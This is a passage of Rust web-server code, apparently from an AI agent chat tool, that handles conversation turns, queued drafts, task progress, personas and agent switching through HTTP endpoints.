8060 let senders: Vec<Vec<talk::Sender>> = talk
8062 .turns
8063 .iter()
8064 .map(|turn| {
8065 if turn.messages.is_empty() {
8066 vec![talk::sender(turn, None)]
8067 } else {
8068 turn.messages
8069 .iter()
8070 .map(|m| talk::sender(turn, Some(m)))
8071 .collect()
8072 }
8073 })
8074 .collect();
8075 for reply in talk
8076 .turns
8077 .iter_mut()
8078 .flat_map(|t| t.messages.iter_mut())
8079 .chain(talk.pending_messages.iter_mut())
8080 .filter_map(|m| m.reply.as_mut())
8081 {
8082 if let Some(Some(excerpt)) = excerpts
8083 .get(reply.target.turn)
8084 .and_then(|ms| ms.get(reply.target.message))
8085 {
8086 reply.excerpt = excerpt.clone();
8087 reply.sender = Some(talk::Sender::Magi);
8088 }
8089 if reply.sender.is_none() {
8090 reply.sender = senders
8091 .get(reply.target.turn)
8092 .and_then(|messages| messages.get(reply.target.message))
8093 .copied();
8094 }
8095 }
8096 let context = talk::context_usage(&talk, cfg);
8097 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8098 .turns
8099 .iter()
8100 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8101 .collect();
8102 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8103 .turns
8104 .iter()
8105 .map(|turn| {
8106 if turn.messages.is_empty() {
8107 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8108 } else {
8109 turn.messages
8110 .iter()
8111 .map(|message| {
8112 notice_markdown(
8113 message.sender.unwrap_or(talk::Sender::Operator),
8114 &message.body,
8115 message.display.as_ref(),
8116 )
8117 })
8118 .collect()
8119 }
8120 })
8121 .collect();
8122 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8123 .pending_messages
8124 .iter()
8125 .map(|message| {
8126 notice_markdown(
8127 message.sender.unwrap_or(talk::Sender::Operator),
8128 &message.body,
8129 message.display.as_ref(),
8130 )
8131 })
8132 .collect();
8133 for nodes in &mut turn_bodies_md {
8134 references.markdown(nodes);
8135 }
8136 for nodes in turn_messages_md
8137 .iter_mut()
8138 .flatten()
8139 .chain(pending_messages_md.iter_mut())
8140 .flatten()
8141 {
8142 references.markdown(nodes);
8143 }
8144 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8145 let persona_name = persona::find(specs, &talk.persona)
8146 .filter(|p| !p.is_default())
8147 .map(|p| p.name);
8148 let mut avatar_persona = persona::find(specs, &talk.persona)
8149 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8150 if avatar_persona.id != talk.persona
8152 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8153 {
8154 avatar_persona.id.clone_from(&talk.persona);
8155 avatar_persona.icon = None;
8156 }
8157 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8158 let approvals_store = ask::Questions::at(home.join("questions"));
8159 let merge_approvals = talk
8160 .notified
8161 .iter()
8162 .filter_map(|key| key.strip_prefix("question:"))
8163 .filter_map(|id| approvals_store.get(id).ok())
8164 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8165 .filter_map(|q| {
8166 Some(ChatApproval {
8167 question: q.id,
8168 target: q.merge_target?,
8169 })
8170 })
8171 .collect();
8172 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8173 Self {
8174 turn_bodies_md,
8175 turn_messages_md,
8176 pending_messages_md,
8177 merge_approvals,
8178 thinking,
8179 context,
8180 operator_name,
8181 persona_name,
8182 persona_avatar,
8183 magi_avatar: magi_icon_url(home),
8184 operator_avatar: operator_icon_url(home),
8185 talk,
8186 }
8187 }
8188}
8189
8190fn notice_markdown(
8192 sender: talk::Sender,
8193 body: &str,
8194 display: Option<&crate::prompt::NoticeDisplay>,
8195) -> Option<Vec<md::Node>> {
8196 if sender != talk::Sender::Magi {
8197 return None;
8198 }
8199 let text = if let Some(display) = display {
8200 display.facts.as_str()
8201 } else {
8202 if crate::prompt::is_completion_notice(body)
8205 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8206 {
8207 return None;
8208 }
8209 body.strip_prefix("magi: ").unwrap_or(body)
8210 };
8211 Some(md::to_nodes(text, &md::ImageBase::None))
8212}
8213
8214#[derive(Debug, Serialize)]
8219struct TalkDetailView {
8220 #[serde(flatten)]
8221 view: TalkView,
8222 tasks: Vec<TaskView>,
8223 task_progress: TalkTaskProgress,
8224 roster: Vec<RosterEntry>,
8227 personas: Vec<PersonaEntry>,
8230}
8231
8232#[derive(Debug, Serialize)]
8234struct TalkTaskProgress {
8235 state: &'static str,
8236 total: usize,
8237 done: usize,
8238 counts: std::collections::BTreeMap<&'static str, usize>,
8239 unfinished_ids: Vec<String>,
8240}
8241
8242fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8243 let mut counts = std::collections::BTreeMap::from([
8244 ("queued", 0),
8245 ("running", 0),
8246 ("done", 0),
8247 ("failed", 0),
8248 ("held", 0),
8249 ("blocked", 0),
8250 ("parked", 0),
8251 ]);
8252 let mut unfinished_ids = Vec::new();
8253 for task in tasks {
8254 *counts.entry(task.status.as_str()).or_default() += 1;
8255 if task.status != TaskStatus::Done {
8256 unfinished_ids.push(task.id.clone());
8257 }
8258 }
8259 TalkTaskProgress {
8260 state: if tasks.is_empty() {
8261 "none"
8262 } else if unfinished_ids.is_empty() {
8263 "complete"
8264 } else {
8265 "incomplete"
8266 },
8267 total: tasks.len(),
8268 done: tasks.len() - unfinished_ids.len(),
8269 counts,
8270 unfinished_ids,
8271 }
8272}
8273
8274#[derive(Debug, Serialize)]
8276struct PersonaEntry {
8277 id: String,
8278 name: String,
8279 avatar: String,
8281}
8282
8283#[derive(Debug, Serialize)]
8285struct RosterEntry {
8286 id: String,
8287 kind: AgentKind,
8288 runnable: bool,
8290}
8291
8292async fn talks_list(
8297 State(ui): State<Arc<Ui>>,
8298 Query(q): Query<ListQuery>,
8299) -> ApiResult<Json<Vec<TalkView>>> {
8300 blocking(move || {
8301 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8302 let talks = q.ids.as_ref().map_or_else(
8303 || ui.talks.list(),
8304 |ids| {
8305 ids.split(',')
8306 .filter(|id| plain_record_id(id))
8307 .filter_map(|id| ui.talks.get(id).ok())
8308 .collect()
8309 },
8310 );
8311 let references = if talks.iter().any(id_links::has_references) {
8312 ui.references.get(
8313 &ui.runs,
8314 &ui.queue,
8315 &ui.questions,
8316 &ui.talks,
8317 talks.iter().any(id_links::has_findings),
8318 )
8319 } else {
8320 Arc::new(id_links::IdIndex::default())
8321 };
8322 Ok(Json(
8323 talks
8324 .into_iter()
8325 .filter(|talk| q.contains(&talk.id))
8326 .map(|talk| {
8327 let thinking = ui.is_thinking(&talk.id);
8328 let cfg = configs
8329 .entry(talk.repo.clone())
8330 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8331 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8332 })
8333 .collect(),
8334 ))
8335 })
8336 .await
8337}
8338
8339#[derive(Debug, Default, Deserialize)]
8344#[serde(default)]
8345struct NewTalk {
8346 agent: Option<String>,
8347 repo: Option<PathBuf>,
8348 preferred_agent: Option<serde_json::Value>,
8352 persona: Option<serde_json::Value>,
8353 implementers: Option<serde_json::Value>,
8354}
8355
8356async fn talk_post(
8359 State(ui): State<Arc<Ui>>,
8360 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8361) -> ApiResult<impl IntoResponse> {
8362 let body = match body {
8366 Ok(Json(body)) => body,
8367 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8368 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8369 };
8370 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8371 let cfg = config_for(&repo).await?;
8372 let view = blocking(move || {
8373 let preferred = talk::Preferred {
8374 agent: body
8375 .preferred_agent
8376 .as_ref()
8377 .and_then(|v| v.as_str())
8378 .map(str::to_owned),
8379 persona: body
8380 .persona
8381 .as_ref()
8382 .and_then(|v| v.as_str())
8383 .map(str::to_owned),
8384 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8385 };
8386 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8387 let thinking = ui.is_thinking(&talk.id);
8388 Ok(TalkView::new(talk, thinking, &ui))
8389 })
8390 .await?;
8391 Ok((StatusCode::CREATED, Json(view)))
8392}
8393
8394async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8396 blocking(move || {
8397 let id = resolve_talk(&ui.talks, &id)?;
8398 let talk = ui.talks.get(&id)?;
8399 let thinking = ui.is_thinking(&id);
8400 Ok(Json(TalkView::with_config(
8401 talk,
8402 thinking,
8403 None,
8404 &ui.home,
8405 &ui.references,
8406 )))
8407 })
8408 .await
8409}
8410
8411async fn talk_sections(
8412 State(ui): State<Arc<Ui>>,
8413 Path(id): Path<String>,
8414) -> ApiResult<Json<serde_json::Value>> {
8415 blocking(move || {
8416 let id = resolve_talk(&ui.talks, &id)?;
8417 let talk = ui.talks.get(&id)?;
8418 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8419 let task_progress = talk_task_progress(&tasks);
8420 let tasks: Vec<_> = tasks
8421 .into_iter()
8422 .map(|task| {
8423 serde_json::json!({
8424 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8425 })
8426 })
8427 .collect();
8428 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8429 let roster: Vec<_> = cfg
8430 .as_ref()
8431 .map(|cfg| {
8432 cfg.agents
8433 .iter()
8434 .map(|a| RosterEntry {
8435 id: a.id.clone(),
8436 kind: a.kind,
8437 runnable: agent::installed(a),
8438 })
8439 .collect()
8440 })
8441 .unwrap_or_default();
8442 let specs = cfg
8443 .as_ref()
8444 .map(|cfg| cfg.talk.personas.clone())
8445 .unwrap_or_default();
8446 let personas: Vec<_> = persona::catalog(&specs)
8447 .into_iter()
8448 .map(|p| PersonaEntry {
8449 avatar: avatar_url(&ui.home, &talk.id, &p),
8450 id: p.id,
8451 name: p.name,
8452 })
8453 .collect();
8454 let active_persona = persona::find(&specs, &talk.persona)
8455 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8456 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8457 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8458 Ok(Json(serde_json::json!({
8459 "tasks": tasks, "task_progress": task_progress,
8460 "roster": roster, "personas": personas,
8461 "context": talk::context_usage(&talk, cfg.as_ref()),
8462 "context_for": talk.updated_at,
8463 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8464 "persona_name": persona_name,
8465 "persona_avatar": persona_avatar,
8466 })))
8467 })
8468 .await
8469}
8470
8471async fn talk_detail(
8473 State(ui): State<Arc<Ui>>,
8474 Path(id): Path<String>,
8475) -> ApiResult<Json<TalkDetailView>> {
8476 blocking(move || {
8477 let id = resolve_talk(&ui.talks, &id)?;
8478 let talk = ui.talks.get(&id)?;
8479 let thinking = ui.is_thinking(&talk.id);
8480 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8481 let task_progress = talk_task_progress(&tasks);
8482 let tasks = tasks.into_iter().map(TaskView::from).collect();
8483 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8484 let roster = cfg
8485 .as_ref()
8486 .map(|cfg| {
8487 cfg.agents
8488 .iter()
8489 .map(|a| RosterEntry {
8490 id: a.id.clone(),
8491 kind: a.kind,
8492 runnable: agent::installed(a),
8493 })
8494 .collect()
8495 })
8496 .unwrap_or_default();
8497 let specs = cfg
8498 .as_ref()
8499 .map(|cfg| cfg.talk.personas.clone())
8500 .unwrap_or_default();
8501 let personas = persona::catalog(&specs)
8502 .into_iter()
8503 .map(|p| PersonaEntry {
8504 avatar: avatar_url(&ui.home, &talk.id, &p),
8505 id: p.id,
8506 name: p.name,
8507 })
8508 .collect();
8509 Ok(Json(TalkDetailView {
8510 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8511 tasks,
8512 task_progress,
8513 roster,
8514 personas,
8515 }))
8516 })
8517 .await
8518}
8519
8520#[derive(Debug, Default, Deserialize)]
8526#[serde(default, deny_unknown_fields)]
8527struct NewTalkTurn {
8528 reply_to: Option<talk::ReplyTarget>,
8529 text: String,
8530 attachments: Vec<String>,
8531}
8532
8533#[derive(Debug, Deserialize)]
8534#[serde(deny_unknown_fields)]
8535struct EditTalkPending {
8536 #[serde(default)]
8537 message: Option<usize>,
8538 text: String,
8539 expected_text: String,
8540 expected_attachments: Vec<String>,
8541}
8542
8543#[derive(Debug, Deserialize)]
8544#[serde(deny_unknown_fields)]
8545struct ClearTalkPending {
8546 expected_text: String,
8547 expected_attachments: Vec<String>,
8548}
8549
8550async fn talk_say(
8562 State(ui): State<Arc<Ui>>,
8563 Path(id): Path<String>,
8564 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8565) -> ApiResult<(StatusCode, Json<TalkView>)> {
8566 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8567 if body.text.trim().is_empty() && body.attachments.is_empty() {
8568 return Err(ApiError::bad_request("say something"));
8569 }
8570
8571 let id = {
8572 let ui = Arc::clone(&ui);
8573 let asked = id.clone();
8574 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8575 };
8576 {
8580 let ui = Arc::clone(&ui);
8581 let id = id.clone();
8582 blocking(move || {
8583 let talk = ui.talks.get(&id)?;
8584 if !talk.status.open() {
8585 return Err(ApiError::conflict(format!(
8586 "talk {} is {} and takes no more turns",
8587 talk.short(),
8588 talk.status.as_str()
8589 )));
8590 }
8591 Ok(())
8592 })
8593 .await?;
8594 }
8595
8596 let attachments = {
8601 let ui = Arc::clone(&ui);
8602 let id = id.clone();
8603 let ids = body.attachments.clone();
8604 blocking(move || {
8605 ids.into_iter()
8606 .map(|att_id| {
8607 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8608 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8609 })
8610 })
8611 .collect::<ApiResult<Vec<talk::Attachment>>>()
8612 })
8613 .await?
8614 };
8615
8616 let start = {
8621 let ui = Arc::clone(&ui);
8622 let id = id.clone();
8623 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8624 };
8625 let turn_guard = match start {
8626 TalkTurnStart::Claimed(turn_guard) => turn_guard,
8627 TalkTurnStart::Pending => {
8628 return Err(ApiError::conflict(
8629 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8630 ));
8631 }
8632 TalkTurnStart::Foreign => {
8633 return Err(ApiError::conflict(
8634 "a turn is already running in another process; try again when it has finished",
8635 ));
8636 }
8637 TalkTurnStart::Busy => {
8638 let (tx, rx) = tokio::sync::oneshot::channel();
8654 tokio::spawn({
8655 let ui = Arc::clone(&ui);
8656 let id = id.clone();
8657 let said = body.text.clone();
8658 let reply_to = body.reply_to.clone();
8659 async move {
8660 let written = blocking({
8661 let ui = Arc::clone(&ui);
8662 let id = id.clone();
8663 move || {
8664 let mut talk = ui.talks.get(&id)?;
8665 #[cfg(test)]
8670 if let Some(gate) = ui
8671 .busy_queue_gate
8672 .lock()
8673 .unwrap_or_else(PoisonError::into_inner)
8674 .take()
8675 {
8676 let _ = gate.reached.send(());
8677 let _ = gate.release.recv();
8678 }
8679 if let Err(error) = talk::queue_reply(
8680 &mut talk,
8681 &ui.talks,
8682 &said,
8683 attachments,
8684 reply_to,
8685 ) {
8686 if let Ok(fresh) = ui.talks.get(&id) {
8687 if !fresh.status.open() {
8688 return Err(ApiError::conflict(format!(
8689 "talk {} is {} and takes no more turns",
8690 fresh.short(),
8691 fresh.status.as_str()
8692 )));
8693 }
8694 }
8695 return Err(
8696 if error.to_string().contains("invalid reply target") {
8697 ApiError::bad_request("invalid reply target")
8698 } else {
8699 ApiError::from(error)
8700 },
8701 );
8702 }
8703 let claim = match ui.begin_queued_talk_turn(&id)? {
8714 Some(turn_guard) => {
8715 let (cfg, _) = Config::discover(&talk.repo, None)?;
8716 Some((talk.clone(), cfg, turn_guard))
8717 }
8718 None => None,
8719 };
8720 let thinking = ui.is_thinking(&id);
8721 Ok((TalkView::new(talk, thinking, &ui), claim))
8722 }
8723 })
8724 .await;
8725 let (view, reclaimed) = match written {
8726 Ok(pair) => pair,
8727 Err(e) => {
8728 let _ = tx.send(Err(e));
8733 return;
8734 }
8735 };
8736 let _ = tx.send(Ok(view));
8739 if let Some((talk, cfg, turn_guard)) = reclaimed {
8740 let talks = ui.talks.clone();
8741 drain_loop(talk, talks, cfg, id, turn_guard).await;
8742 }
8743 }
8744 });
8745 let view = rx
8746 .await
8747 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8748 return Ok((StatusCode::ACCEPTED, Json(view)));
8749 }
8750 };
8751
8752 let (talk, cfg) = {
8753 let ui = Arc::clone(&ui);
8754 let id = id.clone();
8755 blocking(move || {
8756 let talk = ui.talks.get(&id)?;
8757 let (cfg, _) = Config::discover(&talk.repo, None)?;
8758 Ok((talk, cfg))
8759 })
8760 .await?
8761 };
8762
8763 let talks = ui.talks.clone();
8764 let (tx, rx) = tokio::sync::oneshot::channel();
8779 tokio::spawn({
8780 let ui = Arc::clone(&ui);
8781 let talks = talks.clone();
8782 let id = id.clone();
8783 let said = body.text.clone();
8784 let reply_to = body.reply_to.clone();
8785 let mut talk = talk.clone();
8786 async move {
8787 let recorded = blocking({
8788 let talks = talks.clone();
8789 move || {
8790 if let Err(error) =
8791 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8792 {
8793 if let Ok(fresh) = talks.get(&talk.id) {
8794 if !fresh.status.open() {
8795 return Err(ApiError::conflict(format!(
8796 "talk {} is {} and takes no more turns",
8797 fresh.short(),
8798 fresh.status.as_str()
8799 )));
8800 }
8801 }
8802 return Err(if error.to_string().contains("invalid reply target") {
8803 ApiError::bad_request("invalid reply target")
8804 } else {
8805 ApiError::from(error)
8806 });
8807 }
8808 Ok((said.trim().to_owned(), talk))
8814 }
8815 })
8816 .await;
8817 let (text, mut talk) = match recorded {
8818 Ok(pair) => pair,
8819 Err(e) => {
8820 let _ = tx.send(Err(e));
8824 return;
8825 }
8826 };
8827 let queued = talk.clone();
8828 let thinking = ui.is_thinking(&id);
8829 let _ = tx.send(Ok((queued, thinking)));
8832
8833 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8834 tracing::warn!("talk {id} turn failed: {e:#}");
8838 }
8839 drain_loop(talk, talks, cfg, id, turn_guard).await;
8842 }
8843 });
8844
8845 let (queued, thinking) = rx
8846 .await
8847 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8848
8849 Ok((
8851 StatusCode::ACCEPTED,
8852 Json(TalkView::new(queued, thinking, &ui)),
8853 ))
8854}
8855
8856async fn talk_pending_resume(
8860 State(ui): State<Arc<Ui>>,
8861 Path(id): Path<String>,
8862) -> ApiResult<(StatusCode, Json<TalkView>)> {
8863 let id = {
8864 let ui = Arc::clone(&ui);
8865 let asked = id.clone();
8866 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8867 };
8868 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8869 return Err(ApiError::conflict(
8870 "a talk turn is already running; the queued draft will be handled by it",
8871 ));
8872 };
8873 let (talk, cfg) = {
8874 let ui = Arc::clone(&ui);
8875 let id = id.clone();
8876 blocking(move || {
8877 let talk = ui.talks.get(&id)?;
8878 if !talk.status.open() {
8879 return Err(ApiError::conflict(format!(
8880 "talk {} is {} and takes no more turns",
8881 talk.short(),
8882 talk.status.as_str()
8883 )));
8884 }
8885 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8886 return Err(ApiError::conflict("there is no queued draft to resume"));
8887 }
8888 let (cfg, _) = Config::discover(&talk.repo, None)?;
8889 Ok((talk, cfg))
8890 })
8891 .await?
8892 };
8893 let view = TalkView::new(talk.clone(), true, &ui);
8894 let talks = ui.talks.clone();
8895 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8896 Ok((StatusCode::ACCEPTED, Json(view)))
8897}
8898
8899async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8915 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8916}
8917
8918async fn settle_settings_turn(
8922 talk: Talk,
8923 talks: Talks,
8924 cfg: Config,
8925 id: String,
8926 turn: TalkTurnGuard,
8927 observed: u64,
8928) -> bool {
8929 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8930 let turns = Arc::clone(&turn.turns);
8931 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8932 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8933 turn.release(&mut live);
8935 return false;
8936 }
8937 }
8938 let (started, settled) = tokio::sync::oneshot::channel();
8939 tokio::spawn(drain_loop_started(
8940 talk,
8941 talks,
8942 cfg,
8943 id,
8944 turn,
8945 Some(started),
8946 ));
8947 settled.await.unwrap_or(false)
8948}
8949
8950async fn drain_loop_started(
8951 mut talk: Talk,
8952 talks: Talks,
8953 cfg: Config,
8954 id: String,
8955 turn: TalkTurnGuard,
8956 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8957) {
8958 let live_set = Arc::clone(&turn.turns);
8959 let mut turn = Some(turn);
8967 loop {
8968 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8969 tracing::warn!("talk {id} lost its turn lease; not draining further");
8972 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8973 if let Some(turn) = turn.take() {
8974 turn.release(&mut live);
8975 }
8976 break;
8977 }
8978 {
8979 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8982 if live.parking {
8983 if let Some(turn) = turn.take() {
8984 turn.release(&mut live);
8985 }
8986 break;
8987 }
8988 }
8989 let observed = live_set
8993 .lock()
8994 .unwrap_or_else(PoisonError::into_inner)
8995 .queued
8996 .get(&id)
8997 .copied()
8998 .unwrap_or(0);
8999 let drained = blocking({
9000 let talks = talks.clone();
9001 let live_set = Arc::clone(&live_set);
9002 move || {
9003 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9008 let result = if live.parking {
9009 Ok(None)
9010 } else {
9011 talk::drain(&mut talk, &talks)
9012 };
9013 drop(live);
9014 Ok((talk, result))
9015 }
9016 })
9017 .await;
9018 let (next_talk, result) = match drained {
9019 Ok(drained) => drained,
9020 Err(e) => {
9021 tracing::warn!(
9022 status = %e.status,
9023 message = %e.message,
9024 "talk {id} could not start queued-text drain"
9025 );
9026 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9027 turn.take()
9028 .expect("held for the whole loop until released here")
9029 .release(&mut live);
9030 break;
9031 }
9032 };
9033 talk = next_talk;
9034 let drained = match result {
9035 Ok(Some(drained)) => drained,
9036 Ok(None) => {
9037 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9038 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9039 continue;
9040 }
9041 turn.take()
9042 .expect("held for the whole loop until released here")
9043 .release(&mut live);
9044 break;
9045 }
9046 Err(e) => {
9047 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9048 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9049 turn.take()
9050 .expect("held for the whole loop until released here")
9051 .release(&mut live);
9052 break;
9053 }
9054 };
9055 if let Some(started) = started.take() {
9056 let _ = started.send(true);
9057 }
9058 let responded = match turn.as_ref() {
9059 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9060 None => Err(anyhow::anyhow!("the turn guard was released")),
9061 };
9062 if let Err(e) = responded {
9063 tracing::warn!("talk {id} turn failed: {e:#}");
9064 }
9065 }
9066 drop(turn);
9067 if let Some(started) = started {
9068 let _ = started.send(false);
9069 }
9070}
9071
9072async fn talk_pending_clear(
9074 State(ui): State<Arc<Ui>>,
9075 Path(id): Path<String>,
9076 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9077) -> ApiResult<Json<TalkView>> {
9078 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9079 blocking(move || {
9080 let id = resolve_talk(&ui.talks, &id)?;
9081 let mut talk = ui.talks.get(&id)?;
9082 if !talk.status.open() {
9083 return Err(ApiError::conflict(format!(
9084 "talk {} is {} and takes no more turns",
9085 talk.short(),
9086 talk.status.as_str()
9087 )));
9088 }
9089 if !talk::clear_pending_if_matches(
9090 &mut talk,
9091 &ui.talks,
9092 &body.expected_text,
9093 &body.expected_attachments,
9094 )? {
9095 return Err(ApiError::conflict(
9096 "queued message changed; reload it before clearing",
9097 ));
9098 }
9099 let thinking = ui.is_thinking(&talk.id);
9100 Ok(Json(TalkView::new(talk, thinking, &ui)))
9101 })
9102 .await
9103}
9104
9105async fn talk_pending_edit(
9109 State(ui): State<Arc<Ui>>,
9110 Path(id): Path<String>,
9111 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9112) -> ApiResult<Json<TalkView>> {
9113 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9114 let (view, reclaimed) = blocking({
9115 let ui = Arc::clone(&ui);
9116 move || {
9117 let id = resolve_talk(&ui.talks, &id)?;
9118 let mut talk = ui.talks.get(&id)?;
9119 if !talk.status.open() {
9120 return Err(ApiError::conflict(format!(
9121 "talk {} is {} and takes no more turns",
9122 talk.short(),
9123 talk.status.as_str()
9124 )));
9125 }
9126 if !talk::edit_pending_message(
9127 &mut talk,
9128 &ui.talks,
9129 &body.text,
9130 &body.expected_text,
9131 &body.expected_attachments,
9132 body.message,
9133 )? {
9134 return Err(ApiError::conflict(
9135 "queued message changed; reload it before editing",
9136 ));
9137 }
9138 let claim = match ui.begin_queued_talk_turn(&id)? {
9139 Some(turn_guard) => {
9140 let (cfg, _) = Config::discover(&talk.repo, None)?;
9141 Some((talk.clone(), cfg, id.clone(), turn_guard))
9142 }
9143 None => None,
9144 };
9145 let thinking = ui.is_thinking(&id);
9146 Ok((TalkView::new(talk, thinking, &ui), claim))
9147 }
9148 })
9149 .await?;
9150 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9151 let talks = ui.talks.clone();
9152 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9153 }
9154 Ok(Json(view))
9155}
9156
9157fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9159 if talk.status.open() {
9160 return Ok(());
9161 }
9162 Err(ApiError::conflict(format!(
9163 "talk {} is {} and takes no more turns",
9164 talk.short(),
9165 talk.status.as_str()
9166 )))
9167}
9168
9169#[derive(Debug, Deserialize)]
9171struct TalkAgent {
9172 agent: String,
9173}
9174
9175async fn talk_agent(
9180 State(ui): State<Arc<Ui>>,
9181 Path(id): Path<String>,
9182 Json(body): Json<TalkAgent>,
9183) -> ApiResult<Json<TalkView>> {
9184 let id = {
9185 let ui = Arc::clone(&ui);
9186 blocking(move || resolve_talk(&ui.talks, &id)).await?
9187 };
9188 let repo = {
9189 let ui = Arc::clone(&ui);
9190 let id = id.clone();
9191 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9192 };
9193 let cfg = config_for(&repo).await?;
9194 {
9196 let ui = Arc::clone(&ui);
9197 let id = id.clone();
9198 let cfg = cfg.clone();
9199 let wanted = body.agent.clone();
9200 blocking(move || {
9201 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9202 .map_err(ApiError::bad_request_from)?;
9203 refuse_if_closed(&ui.talks.get(&id)?)
9204 })
9205 .await?;
9206 }
9207 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9208 return Err(ApiError::conflict(
9209 "a talk turn is running; change the agent once it has answered",
9210 ));
9211 };
9212 let switched = {
9213 let ui = Arc::clone(&ui);
9214 let id = id.clone();
9215 let cfg = cfg.clone();
9216 blocking(move || {
9217 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9218 .map_err(ApiError::bad_request_from)?;
9219 let mut talk = ui.talks.get(&id)?;
9220 if !talk.status.open() {
9221 return Err(ApiError::conflict(format!(
9222 "talk {} is {} and takes no more turns",
9223 talk.short(),
9224 talk.status.as_str()
9225 )));
9226 }
9227 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9228 Ok(talk)
9229 })
9230 .await
9231 };
9232 let observed = ui.queued_generation(&id);
9237 let fresh = {
9238 let ui = Arc::clone(&ui);
9239 let id = id.clone();
9240 blocking(move || Ok(ui.talks.get(&id)?)).await
9241 };
9242 let draining = match fresh {
9243 Ok(talk) => {
9244 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9245 }
9246 Err(_) => false,
9247 };
9248 let talk = switched?;
9249 Ok(Json(TalkView::new(talk, draining, &ui)))
9250}
9251
9252#[derive(Debug, Deserialize)]
9254struct TalkPersona {
9255 persona: String,
9256}
9257
9258async fn talk_persona(
9262 State(ui): State<Arc<Ui>>,
9263 Path(id): Path<String>,
9264 Json(body): Json<TalkPersona>,
9265) -> ApiResult<Json<TalkView>> {
9266 let id = {
9267 let ui = Arc::clone(&ui);
9268 blocking(move || resolve_talk(&ui.talks, &id)).await?
9269 };
9270 let repo = {
9271 let ui = Arc::clone(&ui);
9272 let id = id.clone();
9273 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9274 };
9275 let cfg = config_for(&repo).await?;
9276 {
9278 let ui = Arc::clone(&ui);
9279 let id = id.clone();
9280 let cfg = cfg.clone();
9281 let wanted = body.persona.clone();
9282 blocking(move || {
9283 if persona::find(&cfg.talk.personas, &wanted).is_none() {
